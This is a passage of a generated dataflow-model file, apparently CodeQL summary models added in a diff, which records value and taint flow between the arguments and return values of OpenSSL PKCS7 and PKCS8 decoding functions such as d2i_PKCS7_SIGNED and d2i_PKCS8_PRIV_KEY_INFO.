"(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGN_ENVELOPE", "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_bio", "(BIO *,PKCS7 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_fp", "(FILE *,PKCS7 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_bio", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8PrivateKey_fp", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO", "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_bio", "(BIO *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_PRIV_KEY_INFO_fp", "(FILE *,PKCS8_PRIV_KEY_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - 